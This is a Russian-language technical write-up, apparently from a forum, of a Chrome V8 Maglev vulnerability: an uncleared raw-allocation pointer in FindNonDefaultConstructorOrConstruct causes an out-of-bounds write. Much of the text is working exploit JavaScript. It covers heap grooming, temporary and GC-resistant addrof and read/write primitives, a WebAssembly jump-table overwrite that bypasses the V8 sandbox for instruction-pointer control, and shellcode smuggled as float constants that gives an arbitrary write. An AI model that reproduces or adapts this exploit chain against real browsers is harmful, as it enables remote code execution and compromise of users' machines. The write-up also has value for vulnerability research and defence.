Функция BuildAllocateFastObject()представляет собой оболочку ExtendOrReallocateCurrentRawAllocation(), которая может вызывать ExtendOrReallocateCurrentRawAllocation()функцию несколько раз, чтобы выделить пространство для объекта, а также для его элементов и значений свойств внутри объекта.

C++: Скопировать в буфер обмена
Код:
// File: src/maglev/maglev-graph-builder.cc
ValueNode* MaglevGraphBuilder::BuildAllocateFastObject(
    FastObject object, AllocationType allocation_type) {


[TRUNCATED]

[1]

  ValueNode* allocation = ExtendOrReallocateCurrentRawAllocation(
      object.instance_size, allocation_type);

[TRUNCATED]

  return allocation;
}

Как видно из [1], эта функция вызывает ExtendOrReallocateCurrentRawAllocation() функцию всякий раз, когда ей необходимо выполнить выделение, а затем инициализирует выделенную память данными для объекта. Здесь важно отметить, что эта функция никогда не очищает переменную current_raw_allocation_ после завершения, тем самым возлагая на вызывающую сторону ответственность за очистку этой переменной, когда это необходимо. У MaglevGraphBuliderесть есть вспомогательная функция, вызываемая ClearCurrentRawAllocation()для установки члена current_raw_allocation_ в NULL для достижения этой цели. Как мы обсуждали в предыдущем разделе, если переменная не очищена правильно, выделения могут выйти за границы GC, что приведет к записи за пределами границ.

VisitFindNonDefaultConstructorOrConstruct

FindNonDefaultConstructorOrConstruct bytecode op используется для создания экземпляра объекта. Он проходит цепочку прототипов от суперконструктора конструктора до тех пор, пока не встретит конструктор не по умолчанию. Если обход заканчивается базовым конструктором по умолчанию, как в случае с тестовым примером, который мы видели ранее, он создает экземпляр этого объекта.

Компилятор Maglev вызывает функцию VisitFindNonDefaultConstructorOrConstruct(), чтобы понизить этот код операции до Maglev IR. Код этой функции можно увидеть ниже.

C++: Скопировать в буфер обмена
Код:
/
// File: src/maglev/maglev-graph-builder.cc

void MaglevGraphBuilder::VisitFindNonDefaultConstructorOrConstruct() {
  ValueNode* this_function = LoadRegisterTagged(0);
  ValueNode* new_target = LoadRegisterTagged(1);

  auto register_pair = iterator_.GetRegisterPairOperand(2);

// [1]

  if (TryBuildFindNonDefaultConstructorOrConstruct(this_function, new_target,
                                                   register_pair)) {
    return;
  }

// [2]

  CallBuiltin* result =
      BuildCallBuiltin(
          {this_function, new_target});
  StoreRegisterPair(register_pair, result);
}

В [1] эта функция вызывает функцию TryBuildFindNonDefaultConstructorOrConstruct(). Эта функция пытается оптимизировать создание экземпляра объекта, если соблюдаются определенные инварианты. Более подробно это будет обсуждаться в следующем разделе. Если функция TryBuildFindNonDefaultConstructorOrConstruct() возвращает true, это означает, что оптимизация прошла успешно и код операции был понижен до Maglev IR, поэтому функция возвращается сюда.

Однако, если функция TryBuildFindNonDefaultConstructorOrConstruct() сообщает, что оптимизация невозможна, то управление достигает [3], которое генерирует Maglev IR, который вызывает реализацию интерпретатора опкода FindNonDefaultConstructorOrConstruct.

Обсуждаемая нами уязвимость находится в функции TryBuildFindNonDefaultConstructorOrConstruct() и требует, чтобы эта функция успешно оптимизировала конструкцию экземпляра.

TryBuildFindNonDefaultConstructorOrConstruct

Поскольку эта функция довольно большая, ниже выделены только соответствующие части.

C++: Скопировать в буфер обмена
Код:
// File: src/maglev/maglev-graph-builder.cc

bool MaglevGraphBuilder::TryBuildFindNonDefaultConstructorOrConstruct(
    ValueNode* this_function, ValueNode* new_target,
    std::pair<interpreter::Register, interpreter::Register> result) {
  // See also:
  // JSNativeContextSpecialization::ReduceJSFindNonDefaultConstructorOrConstruct

[1]

  compiler::OptionalHeapObjectRef maybe_constant =
      TryGetConstant(this_function);
  if (!maybe_constant) return false;

  compiler::MapRef function_map = maybe_constant->map(broker());
  compiler::HeapObjectRef current = function_map.prototype(broker());

[TRUNCATED]

[2]

  while (true) {
    if (!current.IsJSFunction()) return false;
    compiler::JSFunctionRef current_function = current.AsJSFunction();

[TRUNCATED]

[3]

    FunctionKind kind = current_function.shared(broker()).kind();
    if (kind != FunctionKind::kDefaultDerivedConstructor) {

[TRUNCATED]

[4]

      compiler::OptionalHeapObjectRef new_target_function =
          TryGetConstant(new_target);
      if (kind == FunctionKind::kDefaultBaseConstructor) {

[TRUNCATED]

[5]

        ValueNode* object;
        if (new_target_function && new_target_function->IsJSFunction() &&
            HasValidInitialMap(new_target_function->AsJSFunction(),
                               current_function)) {
          object = BuildAllocateFastObject(
              FastObject(new_target_function->AsJSFunction(), zone(), broker()),
              AllocationType::kYoung);
        } else {
          object = BuildCallBuiltin<Builtin::kFastNewObject>(
              {GetConstant(current_function), new_target});
          // We've already stored "true" into result.first, so a deopt here just
          // has to store result.second.
          object->lazy_deopt_info()->UpdateResultLocation(result.second, 1);
        }

[TRUNCATED]

[6]

    // Keep walking up the class tree.
    current = current_function.map(broker()).prototype(broker());
  }
}

По сути, эта функция пытается пройти по цепочке прототипов конструируемого объекта, чтобы найти первый конструктор, не используемый по умолчанию, и использовать эту информацию для создания экземпляра объекта. Однако для того, чтобы логика, которую использует эта функция, оставалась верной, должно выполняться несколько предварительных условий. Соответствующие для этой уязвимости обсуждаются ниже.

[1] подчеркивает первое предварительное условие, которое должно выполняться: объект, экземпляр которого создается, должен быть «константой».

Цикл while, начинающийся с [2], обрабатывает обход прототипа, причем каждая итерация цикла обрабатывает один из родительских объектов. Переменная current_function содержит конструктор этого родительского объекта. Если один из родительских конструкторов не является функцией, он выходит из строя.

В [3] FunctionKind рассчитывается функция. FunctionKind это перечисление, содержащее информацию о функции, в которой указано, какой это тип функции — например, это может быть обычная функция, базовый конструктор, конструктор по умолчанию и т. д. Затем функция проверяет, является ли это тип производным конструктором по умолчанию, и если да, то управление переходит к [6] и цикл пропускает обработку этого родительского объекта. Логика здесь такова: если конструктор родительского объекта в текущей итерации является производным конструктором по умолчанию, то этот родительский объект не указывает конструктор (он является конструктором по умолчанию), как и базовый объект (это производный конструктор). Следовательно, цикл может пропустить этот родительский объект и сразу перейти к родительскому объекту этого объекта.

Блок в [4] делает две вещи. Сначала он пытается получить постоянное значение new.target. Поскольку элемент управления находится здесь, оператор if в [3] уже передан, что означает, что родительский объект, обрабатываемый в текущей итерации, либо имеет конструктор не по умолчанию, либо является базовым объектом с конструктором по умолчанию или не по умолчанию. Этот оператор if проверяет тип функции, чтобы определить, является ли функция базовым объектом с конструктором по умолчанию. Если да, то в [5] он проверяет, что новая цель является допустимой константой, которая может создать экземпляр. Если эта проверка также пройдена, функция знает, что текущий родительский объект, по которому выполняется итерация, является базовым объектом, у которого есть конструктор по умолчанию, настроенный соответствующим образом для создания экземпляра объекта. Следовательно, он вызывает функцию BuildAllocateFastObject() с новой целью в качестве аргумента, чтобы заставить Maglev выполнить IR, который выделит и инициализирует экземпляр объекта. Как упоминалось ранее, функция BuildAllocateFastObject()вызывает функцию ExtendOrReallocateCurrentRawAllocation() для выделения необходимой памяти и инициализирует все данными объекта, который должен быть создан.

Однако, как упоминалось в предыдущем разделе, ответственность за правильность очистки current_raw_allocation_ лежит на вызывающем объекте функции BuildAllocateFastObject(). Как видно из кода, TryBuildFindNonDefaultConstructorOrConstruct() никогда не очищает переменную current_raw_allocation_ после вызова BuildAllocateFastObject(). Следовательно, если следующее выделение, сделанное после этого, FindNonDefaultConstructorOrConstruct свёрнуто с этим выделением и между ними находится GC, то инициализация второго выделения будет записью за пределами границ.

Есть два важных условия для достижения BuildAllocateFastObject()вызова TryBuildFindNonDefaultConstructorOrConstruct(), которые обсуждались выше. Во-первых, исходная вызываемая функция-конструктор должна быть константой (это можно увидеть в [1]). Во-вторых, новая цель, с которой вызывается конструктор, также должна быть постоянной (это можно увидеть в [3]). Существуют и другие ограничения, которых легче достичь, например, базовый объект имеет конструктор по умолчанию и ни один другой родительский объект не имеет собственного конструктора.

Запуск уязвимости

Как упоминалось ранее, уязвимость может быть вызвана с помощью следующего кода JavaScript.

JavaScript: Скопировать в буфер обмена
Код:
function main() {

[1]

  class ClassParent {}

  class ClassBug extends ClassParent {

      constructor() {
[2]

        const v24 = new new.target();
[3]

        super();
[4]

        let a = [9.9,9.9,9.9,1.1,1.1,1.1,1.1,1.1];
      }
[5]

      [1000] = 8;
  }

[6]

  for (let i = 0; i < 300; i++) {
      Reflect.construct(ClassBug, [], ClassParent);
  }
}
%NeverOptimizeFunction(main);
main();

Класс ClassParent, как показано в [1], является родительским для класса ClassBug. Класс ClassParent является базовым классом с конструктором по умолчанию, удовлетворяющим одному из условий, необходимых для возникновения ошибки. У класса ClassBugнет родительского объекта с собственным конструктором (у него есть только один родительский объект с ClassParent конструктором по умолчанию). Следовательно, еще одно из условий выполнено.

В [2] выполняется вызов для создания экземпляра new.target, когда это будет сделано, Maglev вызовет CheckValue на ClassParent чтобы гарантировать, что он остается постоянным во время выполнения. Это CheckValue пометит значение ClassParent как константу new.target. Следовательно, для возникновения проблемы выполняется еще одно условие.

В [3] super вызывается конструктор. По сути, когда конструктор super вызывается, движок выполняет выделение и инициализацию объекта this. Другими словами, это момент, когда экземпляр объекта создается и инициализируется. Следовательно, в момент вызова суперфункции FindNonDefaultConstructorOrConstruct вывывает код операции, который позаботится о создании экземпляра с правильным родителем. После этого инициализация этого объекта завершается, что означает, что вывывает код для [5]. Код в [5] в основном устанавливает свойство 1000 текущего экземпляра ClassBug на значение 8. Для этого он выполнит некоторое выделение и, следовательно, этот код может запустить запуск GC. Подводя итог, в [3] происходят две вещи: во-первых, объект this выделяется и инициализируется в соответствии с правильным родительским объектом. После этого [1000] = 8 вызывает код из [5], который может запустить GC.

При создании массива в [4] снова будет предпринята попытка выделить память для метаданных и элементов массива. Однако код Maglev для FindNonDefaultConstructorOrConstruct, который был вызван для выделения объекта this, выполнил выделение без очистки указателя current_raw_allocation_. Следовательно, выделение элементов массива и метаданных будет свернуто вместе с выделением этого объекта. Однако, как упоминалось в предыдущем абзаце, код для [5], который может вызвать GC, находится между исходным распределением и свернутым. Поэтому, если GC встречается в коде, созданном для [5], то исходное выделение, которое должно было содержать как этот объект, так и массив a, будет перемещено в другое место, где размер выделения будет включать только этот объект. Следовательно, когда запускается код инициализации элементов массива и метаданных, это приведет к записи за пределами границ, повреждая все, что находится после этого объекта в новой области памяти.

Наконец, в [6] создание экземпляра класса запускается в цикле for через Reflect.construct, чтобы запустить JIT-компиляцию на Maglev.

В следующем разделе мы рассмотрим, как можно использовать эту проблему, чтобы обеспечить выполнение кода внутри песочницы Chrome.

Эксплуатация

Эксплуатация этой уязвимости включает в себя следующие шаги:

- Запуск уязвимости путем направления выделения на FoldedAllocation и принудительного цикла сборки мусора перед выполнением FoldedAllocation части выделения.
- Настройка кучи V8, при которой сборка мусора в конечном итоге размещает объекты таким образом, чтобы можно было перезаписать карту соседнего массива.
- Поиск поврежденного объекта массива для создания примитивов addrof, read и write.
- Создание и создание двух экземпляров Wasm.
- Один, содержащий шелл-код, который был «пронесен контрабандой» посредством записи значений с плавающей запятой. Этот экземпляр wasm также должен экспортировать функцию maiфункцию, которая будет вызываться впоследствии.
- Первый шеллкод, перенесенный в Wasm, содержит функциональность для выполнения произвольной записи во всем пространстве процесса. Это необходимо использовать для копирования целевой полезной нагрузки.
Шелл-код второго экземпляра Wasm будет перезаписан посредством использования произвольной записи, перенесенной в первый экземпляр. Этот второй экземпляр также будет экспортировать функцию main.
Наконец, вызываем экспортированную функцию main второго экземпляра, запускаем финальный этап шеллкода.

Запуск уязвимости

В разделе «Вызов уязвимости из раздела анализа кода» выделен минимальный триггер сбоя. В этом разделе рассматривается, как расширить контроль над моментом срабатывания уязвимости, а также как активировать ее более удобным для использования способом.

JavaScript: Скопировать в буфер обмена
Код:
et empty_object = {}
  let corrupted_instance = null;

  class ClassParent {}
  class ClassBug extends ClassParent {
    constructor(a20, a21, a22) {

      const v24 = new new.target();

// [1]

      // We will overwrite the contents of the backing elements of this array.
      let x = [empty_object, empty_object, empty_object, empty_object, empty_object, empty_object, empty_object, empty_object];

// [2]

      super();


// [3]

      let a = [1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1,1.1];


// [4]

      this.x = x;
      this.a = a;

      JSON.stringify(empty_array);
    }

// [5]

    [1] = dogc();
  }

// [6]

  for (let i = 0; i<200; i++) {
    dogc_flag = false;
    if (i%2 == 0) dogc_flag = true;
    dogc();
  }

// [7]

  for (let i = 0; i < 650; i++) {

    dogc_flag=false;

// [8]

    // We will do a gc a couple of times before we hit the bug to clean up the
    // heap. This will mean that when we hit the bug, the nursery space will have
    // very few objects and it will be more likely to have a predictable layout.
    if (i == 644 || i == 645 || i == 646 || i == 640) {
      dogc_flag=true;
      dogc();
      dogc_flag=false;
    }

// [9]

    // We are going to trigger the bug. To do so we set `dogc_flag` to true
    // before we construct ClassBug.
    if (i == 646) dogc_flag=true;

    let x = Reflect.construct(ClassBug, empty_array, ClassParent);

// [10]

    // We save the ClassBug instance we corrupted by the bug into `corrupted_instance`
    if (i == 646) corrupted_instance = x;
  }

В этом триггере есть несколько изменений по сравнению с тем, который видели раньше. Во-первых, в [1] создается массив x, который будет содержать объекты определенного типа PACKED_ELEMENTS. Было замечено, что когда сборщик мусора запускается в [2] и существующие объекты перемещаются в другую область памяти, резервный буфер элементов массива x будет находиться после указателя объекта this. Как подробно описано в предыдущем разделе триггера уязвимости, из-за этой уязвимости, когда сборка мусора происходит в [2], следующее за ней выделение выполняет запись за пределы объекта, который находится после объекта this в куче. Это означает, что при текущей настройке массив по адресу [3] будет инициализирован в резервном буфере элементов x. На следующем изображении показано состояние необходимой части Старого пространства после запуска GC и выделения массива a.

1707570685107.png



Это обеспечивает мощные примитивы путаницы типов, поскольку одно и то же выделение памяти предназначено как для необработанных чисел с плавающей запятой, aтак и для метаданных, а также для резервного буфера, в котором в качестве значений хранятся объекты JSObject. Следовательно, это позволяет эксплойту читать указатель JSObject как число с плавающей запятой из массива a, обеспечивающего утечку, а также возможность искажать метаданные a из x которых это может привести к произвольной записи в куче V8, как будет показано позже. В [4] ссылки на об а и х, сохраняются как переменные-члены, чтобы к ним можно было получить доступ позже, когда конструктор завершит работу.

Во-вторых, мы модифицировали триггерный механизм GC в этом триггере. Ранее был момент, когда выделение указателя элементов этого объекта вызывало сбор мусора, поскольку в куче больше не было места. Однако было непредсказуемо, когда произойдет сбор мусора, и, следовательно, сработала ошибка. Поэтому в этом триггере инициализированный индекс небольшой, как видно из [5]. Однако при попытке инициализировать индекс механизм вызовет функцию dogc которая выполняет сборщик мусора, если для параметра dogc_flag установлено значение true. Следовательно, сбор мусора будет происходить только при необходимости, а не при каждом запуске. Поскольку индекс элемента, инициализируемый в [5], небольшой (индекс 1), выделение, выделенное для него, будет небольшим и обычно не запускает другой сборщик мусора.

В-третьих, как видно из [6], прежде чем начать использовать эксплойт, мы несколько раз запускаем GC. Это делается по двум причинам: для JIT-компиляции функции dogc и для запуска нескольких первоначальных запусков GC, которые переместит все существующие объекты в старую кучу пространства, тем самым очистив кучу перед началом использования эксплойта.

Наконец, цикл в for [7] выполняется только определенное количество раз. Это цикл, в котором Maglev JIT компилирует конструктор файла ClassBug. Если он запускается слишком часто, V8 скомпилирует его JIT-компилатором TurboFan и предотвратит возникновение ошибки. Если он запускается слишком мало раз, компилятор Maglev никогда не сработает. Число запусков цикла и количество итераций, когда возникает ошибка, выбирались эвристически путем наблюдения за поведением движка при различных запусках. В [9] мы запускаем ошибку, когда количество циклов равно 646. Однако за несколько запусков до возникновения ошибки мы запускаем сборщик мусора только для того, чтобы очистить кучу от любых устаревших объектов, которые остались от прошлых выделений. Это можно увидеть в [8]. Это увеличивает вероятность того, что макет объекта после сборки мусора останется таким, каким мы ожидаем. В итерации, когда срабатывает ошибка, созданный объект сохраняется в переменную corrupted_instance.

Использование примитивов

В предыдущем разделе мы видели, как уязвимость, которая фактически представляла собой запись за пределами границ, была преобразована в путаницу типов между необработанным значением с плавающей запятой, метаданными JSObject и JSObject. В этом разделе мы рассмотрим, как это можно использовать для дальнейшего повреждения данных и предоставим механизмы для примитивов addrof, а также примитивов чтения/записи в куче V8. Сначала поговорим о механизме начального временного addrof и напишем примитивы. Однако это зависит от того, что сборщик мусора не должен запускаться. Чтобы обойти это ограничение, мы будем использовать эти начальные примитивы для создания другого примитива addrof и чтения/записи, который будет независимым от сборщика мусора.

Начальный примитив addrof

Первый примитив, который необходимо достичь, — это примитив addrof, позволяющий злоумышленнику получить утечку адреса любого объекта JavaScript. Настройка, достигнутая с помощью эксплойта в предыдущем разделе, делает получение примитива addrof очень простым.

Как уже упоминалось, после срабатывания эксплойта следующие два региона перекрываются:

- Резервный буфер элементов объекта x.
- Метаданные и резервный буфер объекта массива a.

Следовательно, данные могут быть записаны в массив объектов xкак объект и считаны обратно как двойной доступ к упакованному двойному массиву a. Следующий код JavaScript подчеркивает это.

JavaScript: Скопировать в буфер обмена
Код:
unction addrof_tmp(obj) {
  corrupted_instance.x[0] = obj;
  f64[0] = corrupted_instance.a[8];
  return u32[0];
}

Важно отметить, что в куче V8 все указатели объектов представляют собой сжатые 32-битные значения. Следовательно, функция считывает указатель как 64-битное значение с плавающей запятой, но извлекает адрес как младшие 32 бита этого значения.

Начальный примитив записи

После срабатывания уязвимости одна и та же область памяти используется для хранения резервного буфера массива с объектами (x), а также резервного буфера и метаданных упакованного двойного массива (a). Это означает, что свойство length упакованного двойного массива aможно изменить, записав в определенные элементы массива объектов. Следующий код пытается выполнить запись 0x10000 в поле длины массива объектов.

JavaScript: Скопировать в буфер обмена
Код:
corrupted_instance.x[5] = 0x10000;
if (corrupted_instance.a.length != 0x10000) {
  log(ERROR, "Initial Corruption Failed!");
  return false;
}

Это возможно, поскольку SMI записываются в левый бит кучи памяти V8, сдвинутый на 1, как описано в разделе «Предварительные сведения» . Как только длина массива перезаписана, можно выполнить чтение/запись за пределами относительно позиции буфера резервного элемента массива. Чтобы использовать это, эксплойт выделяет другой упакованный двойной массив и находит смещение и индекс элемента, чтобы добраться до своих метаданных от начала буфера элементов поврежденного массива.

JavaScript: Скопировать в буфер обмена
Код:
let rwarr = [1.1,2.2,2.2];
let rwarr_addr = addrof_tmp(rwarr);
let a_addr = addrof_tmp(corrupted_instance.a);

// If our target array to corrupt does not lie after our corrupted array, then
// we can't do anything. Bail and retry the exploit.
if (rwarr_addr < a_addr) {
  log(ERROR, "FAILED");
  return false;
}

let offset = (rwarr_addr - a_addr) + 0xc;
if ( (offset % 8) != 0 ) {
  offset -= 4;
}

offset = offset / 8;
offset += 9;

let marker42_idx = offset;

Эта настройка позволяет эксплойту изменять метаданные упакованного двойного массива rwarr. Если указатель элементов этого массива изменен так, чтобы он указывал на определенное значение, то запись в индекс rwarr приведет к записи управляемого числа с плавающей запятой по этому выбранному адресу, тем самым обеспечивая произвольную запись в куче V8. Код JavaScript, который делает это, выделен ниже. Этот код принимает 2 аргумента: целевой адрес для записи в виде целочисленного значения (сжатый указатель) и целевое значение для записи в виде значения с плавающей запятой.

JavaScript: Скопировать в буфер обмена
Код:
// These functions use `where-in` because v8
// needs to jump over the map and size words
function v8h_write64(where, what) {
  b64[0] = zero;
  f64[0] = corrupted_instance.a[marker42_idx];
  if (u32[0] == 0x6) {
    f64[0] = corrupted_instance.a[marker42_idx-1];
    u32[1] = where-8;
    corrupted_instance.a[marker42_idx-1] = f64[0];
  } else if (u32[1] == 0x6) {
    u32[0] = where-8;
    corrupted_instance.a[marker42_idx] = f64[0];
  }
  // We need to read first to make sure we don't
  // write bogus values
  rwarr[0] = what;
}

Однако и примитив, addrof и примитив записи зависят от отсутствия запуска сборки мусора после успешного срабатывания ошибки. Это связано с тем, что если произойдет сборка мусора, он переместит объекты в памяти, и примитивы, такие как повреждение элементов массива, больше не будут работать, поскольку область метаданных и элементов массива может быть перемещена в отдельные регионы сборщиком мусора. Сборщик мусора также может привести к сбою движка, если обнаружит поврежденные метаданные, такие как поврежденные карты, длины массивов или указатели элементов. По этим причинам необходимо использовать эти первоначальные временные примитивы для расширения контроля и получения более стабильных примитивов, устойчивых к сборке мусора.

Достижение примитива устойчивого к GC

Чтобы получить примитивы, устойчивые к GC, эксплойт предпринимает следующие шаги:

- Прежде чем уязвимость сработает, выделите несколько объектов.
- Отправьте выделенные объекты в старое пространство, несколько раз запустив GC.
- Вызовите уязвимости
- Используйте исходные примитивы, чтобы повредить объекты в старом пространстве.
- Исправьте поврежденные эксплойтом объекты в куче Young Space.
- Получите чтение/запись/добавление, используя объекты в куче старого пространства.
- Эксплойт может выделить следующие объекты до того, как сработает уязвимость.

JavaScript: Скопировать в буфер обмена
Код:
let changer = [1.1,2.2,3.3,4.4,5.5,6.6]
let leaker  = [1.1,2.2,3.3,4.4,5.5,6.6]
let holder  = {p1:0x1234, p2: 0x1234, p3:0x1234};

changer и leaker — это массивы, содержащие упакованные двойные элементы. Это holder объект с тремя внутри объектными свойствами. Когда эксплойт запускает GC с функцией dogфункцией в процессе прогрева функции dogc, а также для очистки кучи, эти объекты будут перенесены в кучу Old Space.

После срабатывания уязвимости эксплойт использует исходный код addrof для поиска адреса объектов changer/leaker/holder. Затем он перезаписывает указатель элементов объекта, чтобы он указывал на адрес объекта, а также перезаписывает указатель элементов объекта, чтобы он указывал на адрес объекта. Это повреждение осуществляется с помощью примитива записи в кучу, созданного в предыдущем разделе. Следующий код показывает это

JavaScript: Скопировать в буфер обмена
Код:
changer_addr = addrof_tmp(changer);
leaker_addr  = addrof_tmp(leaker);
holder_addr  = addrof_tmp(holder);

u32[0] = holder_addr;
u32[1] = 0xc;
original_leaker_bytes = f64[0];

u32[0] = leaker_addr;
u32[1] = 0xc;
v8h_write64(changer_addr+0x8, f64[0]);
v8h_write64(leaker_addr+0x8, original_leaker_bytes);

Как только это повреждение будет устранено, эксплойт исправит повреждение, которое он нанес объектам в Young Space, фактически теряя исходные примитивы.

JavaScript: Скопировать в буфер обмена
Код:
corrupted_instance.x.length = 0;
corrupted_instance.a.length = 0;
rwarr.length = 0;

Установка длины массива равной нулю сбрасывает указатель его элементов на значение по умолчанию, а также фиксирует любые изменения, внесенные в длину массива. Это гарантирует, что сборщик мусора никогда не увидит недопустимых указателей или длин при сканировании этих объектов. В качестве дополнительной меры предосторожности весь триггер уязвимости запускается в другой функции, и как только объекты в куче Young Space будут исправлены, функция завершается. Это приводит к тому, что движок теряет все ссылки на любые поврежденные объекты, которые были определены в функции триггера уязвимости, и, следовательно, сборщик мусора никогда не увидит и не просканирует их. На этом этапе сборщик мусора больше не будет иметь никакого влияния на эксплойт, поскольку все поврежденные объекты в Young Space исправлены или не имеют ссылок. Несмотря на то, что в старом пространстве есть поврежденные объекты, повреждение происходит таким образом, что при сканировании этих объектов сборщик мусора будет видеть только указатели на действительные объекты и, следовательно, никогда не выйдет из строя. Поскольку эти объекты находятся в старом пространстве, они не будут перемещены.

Финал примитив кучи чтение\запись

Как только срабатывание уязвимости завершено и повреждение объектов в старом пространстве с использованием исходных примитивов завершено, эксплойт создает новые примитивы чтения/записи, используя поврежденные объекты в старом пространстве. При произвольном чтении эксплойт использует объект changer, указатель элементов которого теперь указывает на объект leaker, чтобы перезаписать указатель элементов объекта leaker на целевой адрес для чтения. Чтение значения обратно из массива changer теперь дает значение из целевого адреса в виде 64-битной плавающей запятой, что обеспечивает произвольное чтение в куче V8. Как только значение прочитано, эксплойт снова использует объект changer, чтобы сбросить указатель элементов объекта leaker и заставить его указывать обратно на адрес объекта holder, который был замечен в последнем разделе. Мы можем реализовать это в JS следующим образом.

JavaScript: Скопировать в буфер обмена
Код:
function v8h_read64(addr) {
  original_leaker_bytes = changer[0];
  u32[0] = Number(addr)-8;
  u32[1] = 0xc;
  changer[0] = f64[0];

  let ret = leaker[0];
  changer[0] = original_leaker_bytes;
  return f2i(ret);
}

Функция v8h_read64 принимает целевой адрес для чтения в качестве аргумента. Адрес может быть представлен как целое число или BigInt. Он возвращает 64-битное значение, присутствующее по адресу в виде BigInt.

Для достижения произвольной записи в кучу эксплойт делает то же самое, что и для чтения, с той лишь разницей, что вместо чтения значения из объекта leaker он записывает целевое значение. Это показано ниже.

JavaScript: Скопировать в буфер обмена
Код:
function v8h_write(addr, value) {
  original_leaker_bytes = changer[0];
  u32[0] = Number(addr)-8;
  u32[1] = 0xc;
  changer[0] = f64[0];

  f64[0] = leaker[0];
  u32[0] = Number(value);
  leaker[0] = f64[0];
  changer[0] = original_leaker_bytes;
}

v8h_write64 принимает целевой адрес и целевое значение для записи в качестве аргументов. Оба эти значения должны быть BigInts. Затем он записывает значение в область памяти, на которую указывает address.

Финальный addrof примитив

После повреждения объектов в старом пространстве элементы массива leaker указывают на адрес массива holder, как показано в разделе «Достижение устойчивости GC ». Это означает, что чтение индекса элемента 1с массивом leaker приведет к утечке содержимого внутриобъектных свойств массива holderв виде необработанных значений с плавающей запятой. Поэтому, чтобы получить примитив addrof, эксплойт записывает объект, адрес которого должен быть передан в одно из его свойств внутри объекта, а затем передает адрес в виде числа с плавающей запятой в массиве leaker. Мы можем реализовать это в JS следующим образом.

JavaScript: Скопировать в буфер обмена
Код:
function addrof(obj) {
  holder.p2 = obj;
  let ret = leaker[1];
  holder.p2 = 0;
  return f2i(ret) & 0xffffffffn;
}

Функция принимает addrof объект в качестве аргумента и возвращает его адрес в виде 32-битного целого числа.

Обход Ubercage на Intel (x86-64)

В V8 регион, который используется для хранения кода JIT-функций, а также регионы, которые используются для хранения кода WebAssembly, имеют разрешения READ-WRITE-EXECUTE (RWX). Было замечено, что при создании экземпляра WebAssembly базовый объект в C++ содержит полный 64-битный необработанный указатель, который используется для хранения начального адреса таблицы переходов. Это указатель на регион RWX, который вызывается, когда экземпляр пытается найти фактический адрес экспортированной функции WebAssembly. Поскольку этот указатель находится в куче V8 как необработанный 64-битный указатель, эксплойт может изменить его, чтобы он указывал на любое место памяти. В следующий раз, когда экземпляр попытается определить адрес экспорта, он будет использовать указатель на функцию и вызывать ее, тем самым предоставляя контроль над эксплойтом указателя инструкции. Таким образом можно обойти Ubercage.

Код эксплойта для перезаписи указателя RWX в экземпляре WebAssembly показан ниже.

JavaScript: Скопировать в буфер обмена
Код:
[1]

  var wasmCode = new Uint8Array([
        [ TRUNCATED ]
  ]);
  var wasmModule = new WebAssembly.Module(wasmCode);
  var wasmInstance = new WebAssembly.Instance(wasmModule);

[2]

  let addr_wasminstance = addrof(wasmInstance);
  log(DEBUG, "addrof(wasmInstance) => " + hex(addr_wasminstance));

[3]

  let wasm_rwx = v8h_read64(addr_wasminstance+wasmoffset);
  log(DEBUG, "addrof(wasm_rwx) => " + hex(wasm_rwx));

[4]

  var f = wasmInstance.exports.main;

[5]

  v8h_write64(addr_wasminstance+wasmoffset, 0x41414141n);

[6]
  f();

В [1] экземпляр Wasm создается из предварительно созданного двоичного файла Wasm. В [2] адрес экземпляра находится с помощью примитива addrof. Исходный указатель RWX сохраняется в wasm_rwx переменной по адресу [3]. Это смещение wasmoffset, зависящее от версии. В [4] ссылка на экспортированную функцию wasm извлекается в JavaScript. [5] перезапишет указатель RWX в экземпляре wasm, чтобы он указывал на 0x41414141. Наконец, в [6] вызывается экспортированная функция, которая заставит экземпляр перейти к , jump_table_start который мы можем перезаписать, чтобы он указывал на 0x41414141, тем самым давая эксплойту полный контроль над указателем инструкций RIP.

Shellcode Smuggling

В предыдущем разделе обсуждалось, как можно обойти Ubercage, перезаписав 64-битный указатель в объекте экземпляра WebAssembly и получив контроль над указателем инструкций. В этом разделе обсуждается, как использовать это для выполнения небольшого шелл-кода, применимого только к архитектуре Intel x86-64, поскольку в архитектурах на базе ARM невозможно перейти к середине инструкций.

Рассмотрим следующий код WebAssembly.

f64.const 0x90909090_90909090
f64.const 0xcccccccc_cccccccc
Нажмите, чтобы раскрыть...

Приведенный выше код просто создает 2 64-битных значения с плавающей запятой. Когда этот код компилируется движком в сборку, создается следующая сборка.

0x00: movabs r10,0x9090909090909090
0x0a: vmovq xmm0,r10
0x0f: movabs r10,0xcccccccccccccccc
0x19: vmovq xmm1,r10
Нажмите, чтобы раскрыть...

В процессорах Intel инструкции не имеют фиксированной длины. Следовательно, не требуется никакого выравнивания, ожидаемого от указателя инструкций, который представляет собой регистр RIP на 64-битных машинах Intel. Поэтому, если смотреть с адреса 0x02 в приведенном выше фрагменте, пропуская первые 2 байта инструкции movabs, ассемблерный код будет выглядеть следующим образом:

0x02: nop
0x03: nop
0x04: nop
0x05: nop
0x06: nop
0x07: nop
0x08: nop
0x09: nop
0x0a: vmovq xmm0,r10
0x0f: movabs r10,0xcccccccccccccccc
0x19: vmovq xmm1,r10

[TRUNCATED]
Нажмите, чтобы раскрыть...

Следовательно, константы, объявленные в коде WebAssembly, потенциально могут быть интерпретированы как ассемблерный код, если перейти в середину инструкции, что справедливо на машинах с архитектурой Intel. Следовательно, с помощью управления RIP, описанного в предыдущем разделе, можно перенаправить RIP в середину некоторого скомпилированного кода Wasm, который контролирует константы с плавающей запятой, и интерпретировать их как инструкции x86-64.

Достижение полной произвольной записи

Было замечено, что в Google Chrome и Microsoft Edge в системах Windows и Linux x86-64 первый аргумент функции wasm хранился в реестре RAX, второй RDX и третий аргумент — в RCX реестре. Поэтому следующий фрагмент сборки предоставляет 64-битный произвольный примитив записи.

0x00: 48 89 10 mov QWORD PTR [rax],rdx
0x03: c3 ret
Нажмите, чтобы раскрыть...

В шестнадцатеричном формате это будет выглядеть так, 0xc3108948_90909090 как будто оно дополнено символами, nop чтобы размер составил 8 байт. Важно помнить, что, как объяснено в разделе «Обход Ubercage» , указатель функции, который перезаписывает эксплойт, будет вызываться только один раз во время инициализации функции Wasm. Следовательно, эксплойт перезаписывает указатель, чтобы он указывал на произвольную запись. Когда это вызывается, эксплойт использует эту 64-битную произвольную запись, чтобы перезаписать начало кода функции Wasm, который находится в регионе RWX, этими же инструкциями. Это отображает эксплойт с постоянной 64-битной произвольной записью, которую можно вызывать несколько раз, просто вызывая функцию wasm с нужными аргументами.

